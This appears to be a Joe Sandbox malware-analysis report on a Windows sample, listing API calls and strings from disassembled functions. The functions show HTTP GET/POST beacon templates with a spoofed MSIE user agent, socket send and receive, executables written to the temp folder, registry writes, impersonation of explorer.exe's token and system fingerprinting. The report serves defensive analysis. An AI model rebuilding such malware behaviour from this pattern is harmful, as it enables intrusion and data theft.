    • GET %s HTTP/1.0Host: %sAccept-Language: en-USAccept: */*Accept-Encoding: identity, *;q=0Connection: closeUser-Agent: %s, xrefs: 00403C6B, 00403C88
    • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0), xrefs: 00403C7D
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402584, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 84
    APIs
    • RegCreateKeyA.ADVAPI32(Software\WinRAR,?), ref: 0040259F
    • RegSetValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 004025B8
    • RegCloseKey.ADVAPI32(?), ref: 004025C5
    • GetTempPathA.KERNEL32(00000104,?), ref: 004025DE
    • CreateDirectoryA.KERNEL32(?,00000000), ref: 004025FF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(?), ref: 00401CAF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 00401C8E: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
      • Part of subcall function 00401C8E: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
    • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 0040265A
    • CloseHandle.KERNEL32(?), ref: 00402678
    • DeleteFileA.KERNEL32(?), ref: 00402687
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
      • Part of subcall function 00401460: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00401477
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(?), ref: 00401D03
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(00000000,?), ref: 00401D0D
      • Part of subcall function 00401CE2: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401D21
      • Part of subcall function 00401CE2: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401D2A
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040408B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
    APIs
    • GetTempPathA.KERNEL32(00000104,?), ref: 004040AA
    • wsprintfA.USER32(?,%d.exe,?,00000104,?), ref: 004040DA
    • CreateDirectoryA.KERNEL32(?,00000000), ref: 004040EB
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(?), ref: 00401CAF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 00401C8E: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
      • Part of subcall function 00401C8E: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(?), ref: 00401D03
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(00000000,?), ref: 00401D0D
      • Part of subcall function 00401CE2: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401D21
      • Part of subcall function 00401CE2: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401D2A
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401B23, Relevance: 6.1, APIs: 4, Instructions: 87
    APIs
    • RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00401B68
      • Part of subcall function 00401B23: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00401B83
      • Part of subcall function 00401B23: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000000), ref: 00401BB9
      • Part of subcall function 00401B23: RegCloseKey.ADVAPI32(?), ref: 00401BDB
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040124C, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
    • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040125E
    • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 00401282
    • CloseHandle.KERNEL32(?), ref: 0040128E
    • CloseHandle.KERNEL32(?), ref: 004012B4
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004036C5, Relevance: 4.6, APIs: 3, Instructions: 50
    APIs
    • socket.WSOCK32(00000002,00000001,00000006), ref: 004036D4
      • Part of subcall function 0040368B: ExitProcess.KERNEL32(?), ref: 00403691
      • Part of subcall function 0040368B: gethostbyname.WSOCK32(?,?), ref: 0040369E
    • connect.WSOCK32(?,00000002,00000010,00000002,00000001,00000006), ref: 00403730
    • closesocket.WSOCK32(?,?,00000002,00000010,00000002,00000001,00000006), ref: 0040373B
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004014A1, Relevance: 3.0, APIs: 2, Instructions: 46
    APIs
    • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 004014BF
      • Part of subcall function 00401460: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00401477
    • CloseHandle.KERNEL32(?), ref: 00401518
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040368B, Relevance: 3.0, APIs: 2, Instructions: 22
    APIs
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402F98, Relevance: 3.0, APIs: 2, Instructions: 14
    APIs
    • GetProcAddress.KERNEL32(00000000,0040A2A0), ref: 00402FAF
    • VirtualAlloc.KERNEL32 ref: 00402FB5
    Memory Dump Source
    • Source File: 00000004.00000000.563878800.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000000.563870858.00400000.00000002.sdmp
    • Associated: 00000004.00000000.563885593.00404000.00000008.sdmp
    • Associated: 00000004.00000000.563896670.0040C000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_0_ZwGuKEMphiZgNT.jbxd
    Function 0040182A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 9
    APIs
    • LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402589, Relevance: 1.6, APIs: 1, Instructions: 51
    APIs
    Memory Dump Source
    • Source File: 00000004.00000000.563878800.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000000.563870858.00400000.00000002.sdmp
    • Associated: 00000004.00000000.563885593.00404000.00000008.sdmp
    • Associated: 00000004.00000000.563896670.0040C000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_0_ZwGuKEMphiZgNT.jbxd
    Function 00403749, Relevance: 1.5, APIs: 1, Instructions: 32
    APIs
    • send.WSOCK32(?,?,00000000,00000000), ref: 00403770
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401460, Relevance: 1.5, APIs: 1, Instructions: 28
    APIs
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00401477
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00403795, Relevance: 1.5, APIs: 1, Instructions: 27
    APIs
    • select.WSOCK32(00000000,00000001,00000000,00000000,00000000), ref: 004037DA
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004025E7, Relevance: 1.5, APIs: 1, Instructions: 10
    APIs
    • DialogBoxParamW.USER32(00400000,000001C0), ref: 004025FB
    Memory Dump Source
    • Source File: 00000004.00000000.563878800.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000000.563870858.00400000.00000002.sdmp
    • Associated: 00000004.00000000.563885593.00404000.00000008.sdmp
    • Associated: 00000004.00000000.563896670.0040C000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_0_ZwGuKEMphiZgNT.jbxd
    Function 00404BCE, Relevance: 1.5, APIs: 1, Instructions: 4
    APIs
    • ExitProcess.KERNEL32(00000000), ref: 00404BD5
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd

    Non-executed Functions

    Function 00402B98, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 113
    APIs
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00402BE2
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00402BF9
    • Process32First.KERNEL32(?,00000128), ref: 00402C1A
    • StrStrIA.SHLWAPI(?,explorer.exe), ref: 00402C33
    • ProcessIdToSessionId.KERNEL32(?,00000000), ref: 00402C57
    • OpenProcess.KERNEL32(02000000,00000000,?), ref: 00402C81
    • OpenProcessToken.ADVAPI32(?,000201EB,?), ref: 00402C9D
    • ImpersonateLoggedOnUser.ADVAPI32(?), ref: 00402CAA
    • RegOpenCurrentUser.ADVAPI32(000F003F,00000000), ref: 00402CCB
    • CloseHandle.KERNEL32(?), ref: 00402CFC
    • CloseHandle.KERNEL32(?), ref: 00402D04
    • CloseHandle.KERNEL32(?), ref: 00402D0E
    • Process32Next.KERNEL32(?,00000128), ref: 00402D20
    • CloseHandle.KERNEL32(?), ref: 00402D30
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00404644, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 145
    APIs
    • GetVersionExA.KERNEL32(0000009C), ref: 0040468D
      • Part of subcall function 00402E23: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402E31
      • Part of subcall function 00402E23: GetProcAddress.KERNEL32(?,GetNativeSystemInfo), ref: 00402E49
      • Part of subcall function 00402E23: GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00402E5A
      • Part of subcall function 00402E23: GetCurrentProcess.KERNEL32 ref: 00402E69
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GetLocaleInfoA.KERNEL32(00000400,00001002,?,000003FF), ref: 00404712
    • GetLocaleInfoA.KERNEL32(00000400,00001001,?,000003FF), ref: 0040473B
      • Part of subcall function 00402E8B: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00402EEA
      • Part of subcall function 00402E8B: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00402F06
      • Part of subcall function 00402E8B: FreeSid.ADVAPI32(?), ref: 00402F1A
      • Part of subcall function 00402F25: CoCreateGuid.OLE32(?), ref: 00402F48
      • Part of subcall function 00402F25: wsprintfA.USER32(?,{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X},?,?,?,?,?,?,?,?,?,?,?,?), ref: 00402F8F
      • Part of subcall function 00402F25: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00402F9B
      • Part of subcall function 0040269E: GetTempPathA.KERNEL32(00000104,?), ref: 004026D4
      • Part of subcall function 0040269E: GetHGlobalFromStream.OLE32(?,?), ref: 00402756
      • Part of subcall function 0040269E: GlobalLock.KERNEL32(?), ref: 00402762
      • Part of subcall function 0040269E: GlobalUnlock.KERNEL32(?), ref: 00402784
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    • lstrlenA.KERNEL32(15D486FAF635FA3C9058CA4,00000000,?,?,?,?,?,?,?,?,00000400,00001001,?,000003FF,00000400), ref: 004047E3
    • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00404808
    • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00404827
    • GetSystemInfo.KERNEL32(?), ref: 00404845
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00404B5A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
    APIs
    • SetUnhandledExceptionFilter.KERNEL32(00404B1B), ref: 00404B5F
      • Part of subcall function 00404029: WSAStartup.WSOCK32(00000101,?), ref: 0040403E
    • RevertToSelf.ADVAPI32 ref: 00404BA9
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402E8B, Relevance: 4.6, APIs: 3, Instructions: 51
    APIs
    • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00402EEA
    • CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00402F06
    • FreeSid.ADVAPI32(?), ref: 00402F1A
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004053BF, Relevance: 3.8, APIs: 3, Instructions: 47
    APIs
      • Part of subcall function 00405474: GetProcessHeap.KERNEL32 ref: 00405479
      • Part of subcall function 00405474: HeapFree.KERNEL32(?,00000000,?,?,?,004052AB,?,?,?,?,?,?,?), ref: 00405483
    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00405424
    • GetProcessHeap.KERNEL32 ref: 0040542A
    • HeapFree.KERNEL32(?,00000000,?,?,?,004052AB,?,?,?,?,?,?,?), ref: 00405434
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00403867, Relevance: 1.6, APIs: 1, Instructions: 54
    APIs
      • Part of subcall function 00403795: select.WSOCK32(00000000,00000001,00000000,00000000,00000000), ref: 004037DA
    • recv.WSOCK32(?,?,00000800,00000000), ref: 004038B1
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402888, Relevance: 174.2, APIs: 116, Instructions: 248
    APIs
    • InitializeCriticalSection.KERNEL32(0040AD0D), ref: 004028AC
    • CloseHandle.KERNEL32(0040ABB3), ref: 004028B7
    • InitializeCriticalSection.KERNEL32(0040A99F), ref: 004028C2
    • InitializeCriticalSection.KERNEL32(0040B283), ref: 004028CD
    • InitializeCriticalSection.KERNEL32(0040B173), ref: 004028D8
    • InitializeCriticalSection.KERNEL32(0040A9D8), ref: 004028E3
    • InitializeCriticalSection.KERNEL32(0040AA97), ref: 004028EE
    • InitializeCriticalSection.KERNEL32(0040B067), ref: 004028F9
    • InitializeCriticalSection.KERNEL32(0040A391), ref: 00402904
    • InitializeCriticalSection.KERNEL32(0040A322), ref: 0040290F
    • InitializeCriticalSection.KERNEL32(0040A2C6), ref: 0040291A
    • InitializeCriticalSection.KERNEL32(00407A4A), ref: 00402925
    • InitializeCriticalSection.KERNEL32(0040A195), ref: 00402930
    • InitializeCriticalSection.KERNEL32(00407A72), ref: 0040293B
    • InitializeCriticalSection.KERNEL32(0040AA37), ref: 00402946
    • InitializeCriticalSection.KERNEL32(0040A260), ref: 00402951
    • InitializeCriticalSection.KERNEL32(0040B133), ref: 0040295C
    • InitializeCriticalSection.KERNEL32(00405000), ref: 00402967
    • InitializeCriticalSection.KERNEL32(00405020), ref: 00402972
    • InitializeCriticalSection.KERNEL32(0040AA57), ref: 0040297D
    • InitializeCriticalSection.KERNEL32(0040B33D), ref: 00402988
    • InitializeCriticalSection.KERNEL32(0040A3F1), ref: 00402993
    • InitializeCriticalSection.KERNEL32(0040783B), ref: 0040299E
    • InitializeCriticalSection.KERNEL32(004078B4), ref: 004029A9
    • InitializeCriticalSection.KERNEL32(0040B310), ref: 004029B4
    • InitializeCriticalSection.KERNEL32(0040B2A3), ref: 004029BF
    • InitializeCriticalSection.KERNEL32(0040A205), ref: 004029CA
    • InitializeCriticalSection.KERNEL32(004078E2), ref: 004029D5
    • InitializeCriticalSection.KERNEL32(0040A958), ref: 004029E0
    • InitializeCriticalSection.KERNEL32(00405085), ref: 004029EB
    • InitializeCriticalSection.KERNEL32(0040B263), ref: 004029F6
    • InitializeCriticalSection.KERNEL32(00407947), ref: 00402A01
    • InitializeCriticalSection.KERNEL32(0040ADB4), ref: 00402A0C
    • InitializeCriticalSection.KERNEL32(0040B087), ref: 00402A17
    • InitializeCriticalSection.KERNEL32(0040B03D), ref: 00402A22
    • InitializeCriticalSection.KERNEL32(0040B0F6), ref: 00402A2D
    • InitializeCriticalSection.KERNEL32(004050A5), ref: 00402A38
    • InitializeCriticalSection.KERNEL32(004050E2), ref: 00402A43
    • InitializeCriticalSection.KERNEL32(0040AFB9), ref: 00402A4E
    • InitializeCriticalSection.KERNEL32(0040A240), ref: 00402A59
    • InitializeCriticalSection.KERNEL32(0040AED9), ref: 00402A64
    • InitializeCriticalSection.KERNEL32(0040ADD4), ref: 00402A6F
    • InitializeCriticalSection.KERNEL32(0040A3D1), ref: 00402A7A
    • InitializeCriticalSection.KERNEL32(0040AB17), ref: 00402A85
    • InitializeCriticalSection.KERNEL32(0040A88E), ref: 00402A90
    • InitializeCriticalSection.KERNEL32(0040AEB9), ref: 00402A9B
    • InitializeCriticalSection.KERNEL32(0040A14F), ref: 00402AA6
    • InitializeCriticalSection.KERNEL32(004079EA), ref: 00402AB1
    • InitializeCriticalSection.KERNEL32(0040AF3F), ref: 00402ABC
    • InitializeCriticalSection.KERNEL32(0040B2F0), ref: 00402AC7
    • InitializeCriticalSection.KERNEL32(0040AE99), ref: 00402AD2
    • InitializeCriticalSection.KERNEL32(00405040), ref: 00402ADD
    • InitializeCriticalSection.KERNEL32(0040B153), ref: 00402AE8
    • InitializeCriticalSection.KERNEL32(0040A97F), ref: 00402AF3
    • InitializeCriticalSection.KERNEL32(0040AA77), ref: 00402AFE
    • InitializeCriticalSection.KERNEL32(0040A8D8), ref: 00402B09
    • InitializeCriticalSection.KERNEL32(0040AC33), ref: 00402B14
    • InitializeCriticalSection.KERNEL32(00407A2A), ref: 00402B1F
    • InitializeCriticalSection.KERNEL32(00407994), ref: 00402B2A
    • InitializeCriticalSection.KERNEL32(0040A371), ref: 00402B35
    • InitializeCriticalSection.KERNEL32(0040AE54), ref: 00402B40
    • GetTokenInformation.ADVAPI32(004079C0), ref: 00402B4B
    • InitializeCriticalSection.KERNEL32(0040510D), ref: 00402B56
    • InitializeCriticalSection.KERNEL32(0040AE34), ref: 00402B61
    • InitializeCriticalSection.KERNEL32(0040B223), ref: 00402B6C
    • InitializeCriticalSection.KERNEL32(0040A2E6), ref: 00402B77
    • InitializeCriticalSection.KERNEL32(00407885), ref: 00402B82
    • CloseHandle.KERNEL32(0040A351), ref: 00402B8D
    • InitializeCriticalSection.KERNEL32(0040AAB7), ref: 00402B98
    • InitializeCriticalSection.KERNEL32(00407A0A), ref: 00402BA3
    • InitializeCriticalSection.KERNEL32(0040ACAD), ref: 00402BAE
    • InitializeCriticalSection.KERNEL32(0040B1B3), ref: 00402BB9
    • InitializeCriticalSection.KERNEL32(0040B01D), ref: 00402BC4
    • InitializeCriticalSection.KERNEL32(0040A280), ref: 00402BCF
    • InitializeCriticalSection.KERNEL32(0040AB77), ref: 00402BDA
    • InitializeCriticalSection.KERNEL32(0040AAD7), ref: 00402BE5
    • InitializeCriticalSection.KERNEL32(0040A416), ref: 00402BF0
    • InitializeCriticalSection.KERNEL32(0040AC53), ref: 00402BFB
    • InitializeCriticalSection.KERNEL32(00407865), ref: 00402C06
    • InitializeCriticalSection.KERNEL32(0040A3B1), ref: 00402C11
    • InitializeCriticalSection.KERNEL32(0040ACCD), ref: 00402C1C
    • InitializeCriticalSection.KERNEL32(0040AFF2), ref: 00402C27
    • InitializeCriticalSection.KERNEL32(0040B203), ref: 00402C32
    • InitializeCriticalSection.KERNEL32(0040AE74), ref: 00402C3D
    • InitializeCriticalSection.KERNEL32(0040B193), ref: 00402C48
    • InitializeCriticalSection.KERNEL32(0040AF5F), ref: 00402C53
    • InitializeCriticalSection.KERNEL32(0040B2C3), ref: 00402C5E
    • InitializeCriticalSection.KERNEL32(0040A436), ref: 00402C69
    • InitializeCriticalSection.KERNEL32(0040AB4C), ref: 00402C74
    • InitializeCriticalSection.KERNEL32(0040B0C7), ref: 00402C7F
    • InitializeCriticalSection.KERNEL32(00405065), ref: 00402C8A
    • InitializeCriticalSection.KERNEL32(0040A1D5), ref: 00402C95
    • InitializeCriticalSection.KERNEL32(0040A1B5), ref: 00402CA0
    • InitializeCriticalSection.KERNEL32(0040B1D3), ref: 00402CAB
    • InitializeCriticalSection.KERNEL32(0040AD3B), ref: 00402CB6
    • InitializeCriticalSection.KERNEL32(0040A918), ref: 00402CC1
    • InitializeCriticalSection.KERNEL32(0040ADF4), ref: 00402CCC
    • InitializeCriticalSection.KERNEL32(0040A8F8), ref: 00402CD7
    • InitializeCriticalSection.KERNEL32(0040B243), ref: 00402CE2
    • InitializeCriticalSection.KERNEL32(00407815), ref: 00402CED
    • InitializeCriticalSection.KERNEL32(0040A46E), ref: 00402CF8
    • InitializeCriticalSection.KERNEL32(0040AC13), ref: 00402D03
    • InitializeCriticalSection.KERNEL32(0040A938), ref: 00402D0E
    • InitializeCriticalSection.KERNEL32(0040AA00), ref: 00402D19
    • InitializeCriticalSection.KERNEL32(004077EB), ref: 00402D24
    • InitializeCriticalSection.KERNEL32(0040ABD3), ref: 00402D2F
    • InitializeCriticalSection.KERNEL32(0040AD83), ref: 00402D3A
    • InitializeCriticalSection.KERNEL32(0040796D), ref: 00402D45
    • InitializeCriticalSection.KERNEL32(0040ABF3), ref: 00402D50
    • InitializeCriticalSection.KERNEL32(0040AF1F), ref: 00402D5B
    • InitializeCriticalSection.KERNEL32(0040AE14), ref: 00402D66
    • InitializeCriticalSection.KERNEL32(0040ACED), ref: 00402D71
    • InitializeCriticalSection.KERNEL32(0040AAF7), ref: 00402D7C
    • InitializeCriticalSection.KERNEL32(0040B0A7), ref: 00402D87
    • InitializeCriticalSection.KERNEL32(0040AC8D), ref: 00402D92
    • InitializeCriticalSection.KERNEL32(0040AF7F), ref: 00402D9D
    Memory Dump Source
    • Source File: 00000004.00000000.563878800.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000000.563870858.00400000.00000002.sdmp
    • Associated: 00000004.00000000.563885593.00404000.00000008.sdmp
    • Associated: 00000004.00000000.563896670.0040C000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_0_ZwGuKEMphiZgNT.jbxd
    Function 00403D82, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 150
    APIs
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • InternetCrackUrlA.WININET(?,00000000,80000000,0000003C), ref: 00403E02
    • InternetCreateUrlA.WININET(0000003C,80000000,?,00000FFF), ref: 00403E2D
    • InternetCrackUrlA.WININET(?,00000000,00000000,0000003C), ref: 00403E73
    • ObtainUserAgentString.URLMON(00000000,?,00001000), ref: 00403E90
    • wsprintfA.USER32(?,POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Accept-Language: en-USContent-Length: %luContent-Type: application/octet-streamConnection: closeContent-Encoding: binaryUser-Agent: %s,?,?,00000000,?,00000000,?,00001000,?,00000000,00000000,0000003C,?,0000003C,80000000), ref: 00403EAD
    • wsprintfA.USER32(?,POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Accept-Language: en-USContent-Length: %luContent-Type: application/octet-streamConnection: closeContent-Encoding: binaryUser-Agent: %s,?,?,00000000,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0),00000000,?,00001000,?,00000000,00000000,0000003C,?,0000003C,80000000), ref: 00403ECD
